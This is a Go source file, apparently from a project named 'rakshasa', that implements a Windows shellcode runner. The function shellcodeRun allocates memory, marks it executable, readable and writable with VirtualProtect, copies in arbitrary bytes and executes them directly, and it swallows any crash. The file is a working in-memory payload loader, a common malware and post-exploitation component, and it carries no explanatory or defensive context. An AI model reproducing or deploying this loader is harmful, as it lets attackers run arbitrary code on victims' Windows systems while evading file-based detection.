Files
rakshasa/server/shellcode_windows.go
T
2023-03-22 11:30:21 +08:00

38 lines
751 B
Go

//go:build windows
// +build windows
package server
import (
"fmt"
"syscall"
"unsafe"
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
VirtualProtect = kernel32.MustFindProc("VirtualProtect")
old32 = syscall.MustLoadDLL("ole32.dll")
CoTaskMemAlloc = old32.MustFindProc("CoTaskMemAlloc")
)
func shellcodeRun(code []byte) error {
defer func() {
if err := recover(); err != nil {
fmt.Println(err)
}
}()
l := uintptr(len(code))
pwstrLocal, _, _ := CoTaskMemAlloc.Call(l)
var old int
_, _, _ = VirtualProtect.Call(pwstrLocal, l, 0x40, uintptr(unsafe.Pointer(&old)))
h := [3]uintptr{pwstrLocal, l, l}
s := *(*[]byte)(unsafe.Pointer(&h))
copy(s, code)
syscall.Syscall(pwstrLocal, 0, 0, 0, 0)
return nil
}